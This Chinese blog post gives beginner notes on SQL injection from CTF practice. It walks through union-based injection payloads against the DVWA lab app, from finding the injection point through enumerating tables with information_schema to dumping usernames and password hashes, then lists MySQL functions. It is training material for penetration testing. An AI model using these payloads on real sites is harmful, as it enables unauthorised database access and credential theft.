题记:

本来今天想把白天刷的攻防世界Web进阶的做个总结,结果估计服务器抽疯环境老报错,然后想了下今天用到了SQL注入,文件上传等等,写写心得。相信很多朋友都一直想学好渗透,然后看到各种入门视频,入门书籍,零基础XXX,从入门到放弃,收藏即学完,东一块西一块的,本人也一样,不过当做攻防世界的web题时,梳理知识总结心得的时候发现虽然之前学的零散,但现在不断融汇贯通各个知识点不断串起来,由点到线再到面的感觉,总之和大家一起探索,共同进步!!!

内心OS:卷死其他小伙伴!!!努力学习,就会有收获!!!

(一)SQL注入原理

  SQL注入,一般指web应用程序对用户输入数据的合法性没有校验或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,

在不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

  ****总之看到有搜索框就要留意是不是有注入点***

(二)SQL注入思路及步骤

  1.判断是否是注入点

  输入1' and 1=1#             发现没报错,正常输出

输入 1' and 1=2#  发现没正常输入内容说明此处是注入点

  2.使用判断表有多少字段(列)

数字型注入命令:1' order by [num]      num表示数字1,2,3.....一个一个网上加直到报错为止则列数为不报错最大的num

输入1' order by 3#时报错,所以有两列。

字符型注入命令:1'union select [1,2,3...num]  num表示数字1,2,3.....一个一个网上加直到不报错为止则列数为不报错的num

结果:报错

输入:1‘union select 1,2#  发现不报错。

综上可以得出列数为2,且记住它们的显示位置。  

   3.使用union联合查询其他信息,首先查看当前数据库,及用户。

  注入命令:1'union select database(),user()#

得到了数据库叫dvwa 用户名为root.接下来就准备爆库,查询看看数据库有说明表。

在mysql数据库版本大于V5.0的版本加入了information_schema的表方便查询。

注入命令:1'union select table_name,2 from information_schema.tables where table_schema=database()#

发现两个表guestbook,users,第一个是来访登记簿,第二个是用户表,显然我们需要的是用户表更有价值。

接下来,爆表,查询出表项/列(column)

注入命令:'union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='users'#

报出列名,其中最主要的是user,password

最后就是爆数据,显示用户名和密码。

注入命令:'union select user,password from users#

得到用户admin及密码哈希值:5f4dcc3b5aa765d61d8327deb882cf99 解密后就是password    DVWA的默认账号密码。

在线解码工具网址: https://www.cmd5.com/

======================================================================================

(三)总结

 mysql系统函数

user() :当前使用者的用户名
 
database():当前数据库名
 
version():数据库版本
 
datadir:读取数据库的绝对路径
 
@@vasedir:mysql安装路径
 
@@version_compile_os:操作系统
 
concat():连接一个或者多个字符串
 
group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据

Web渗透测试入门之SQL注入(上篇)的更多相关文章

  1. Web安全测试学习笔记-SQL注入-利用concat和updatexml函数

    mysql数据库中有两个函数:concat和updatexml,在sql注入时经常组合使用,本文通过学习concat和updatexml函数的使用方法,结合实例来理解这种sql注入方式的原理. con ...

  2. Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过

    Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...

  3. Kali Linux Web 渗透测试视频教程— 第二课 google hack 实战

    Kali Linux Web 渗透测试— 第二课 代理简介 文/玄魂 课程地址: http://edu.51cto.com/course/course_id-1887.html 目录 shellKal ...

  4. shellKali Linux Web 渗透测试— 初级教程(第三课)

    shellKali Linux Web 渗透测试— 初级教程(第三课) 文/玄魂 目录 shellKali Linux Web 渗透测试—初级教程(第三课) 课程目录 通过google hack寻找测 ...

  5. 轻量级Web渗透测试工具jSQL

    轻量级Web渗透测试工具jSQL jSQL是Kali集成的一款轻量级的Web渗透测试工具.最初该工具主要实施SQL注入,后来增加更多的功能,扩展形成一个综合性的Web渗透测试工具.Kali提供的版本较 ...

  6. Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装

    Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装  一.配置KALI Linux和渗透测试环境 在这一章,我们将覆盖以下内容: 在Windows和Linux上安装Virt ...

  7. Web渗透测试漏洞手册及修复建议

    Web渗透测试漏洞手册及修复建议 0x0 配置管理 0x01 HTTP方法测试 漏洞介绍: 目标服务器启用了不安全的传输方法,如PUT.DELETE等,这些方法表示可能在服务器上使用了 WebDAV, ...

  8. 转载过来的参考内容---常规36个WEB渗透测试漏洞描述及修复方法----很详细

        常规WEB渗透测试漏洞描述及修复 --转自:http://www.51testing.com/html/92/n-3723692.html (1). Apache样例文件泄漏 漏洞描述 apa ...

  9. Kali Linux Web渗透测试手册(第二版) - 1.1 - Firefox浏览器下安装一些常用的插件

    一.配置KALI Linux和渗透测试环境 在这一章,我们将覆盖以下内容: l  在Windows和Linux上安装VirtualBox l  创建一个Kali Linux虚拟机 l  更新和升级Ka ...

随机推荐

  1. 【Java】注解Annotation

    注解 Annotation 理解Annotation jdk 5.0 新增的功能 Annotation 其实就是代码里的特殊标记, 这些标记可以在编译, 类加载, 运行时被读取, 并执行相应的处理.通 ...

  2. postman设置token等关联参数

    登陆时登录成功后服务器会返回一个token,这个token作为第二步骤的入参:第二个步骤请求成功后服务器会返回一个新token,然后这个token作为第三步骤的入参!如此一来的话,要用postman做 ...

  3. Solon Web 开发,八、校验、及定制与扩展

    Solon Web 开发 一.开始 二.开发知识准备 三.打包与运行 四.请求上下文 五.数据访问.事务与缓存应用 六.过滤器.处理.拦截器 七.视图模板与Mvc注解 八.校验.及定制与扩展 九.跨域 ...

  4. BarTender调用示例

    安装BarTender 软件后,会注册一个COM 然后在项目中添加BarTender COM 引用 BarTender模板中的条码右键属性-数据源类型-嵌入的数据-名称(比如设置为 barcode p ...

  5. Cesium源码剖析---Ambient Occlusion(环境光遮蔽)

    Ambient Occlusion简称AO,中文没有太确定的叫法,一般译作环境光遮蔽.百度百科上对AO的解释是这样的:AO是来描绘物体和物体相交或靠近的时候遮挡周围漫反射光线的效果,可以解决或改善漏光 ...

  6. [源码分析] Facebook如何训练超大模型 --- (3)

    [源码分析] Facebook如何训练超大模型 --- (3) 目录 [源码分析] Facebook如何训练超大模型 --- (3) 0x00 摘要 0x01 ZeRO-Offload 1.1 设计原 ...

  7. 高度塌陷与 BFC

    1. 高度塌陷 在浮动布局中,父元素的高度默认是被子元素撑开的  当子元素浮动后,其会完全脱离文档流,子元素从文档流中脱离将会无法撑起父元素的高度,导致父元素的高度丢失  父元素高度丢失以后,其下的元 ...

  8. Github基于Web的编辑器

    在 GitHub 存储库中使用基于 Web 的编辑器来创建和提交代码更改. 关于 GitHub 基于 Web 的编辑器 基于 Web 的编辑器引入了全新的轻量级编辑体验,可完全在您的浏览器中运行.使用 ...

  9. web.xml最新配置

    <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmln ...

  10. socket编程(struct报头)网络编程

    目录 一:socket编程 1.简介 2.参数说明: 3.socket套接字方法 4.socket编程思路: 二:socket套接字编程 1.socket简易版编程 2.通信循环 三:通信循环及代码优 ...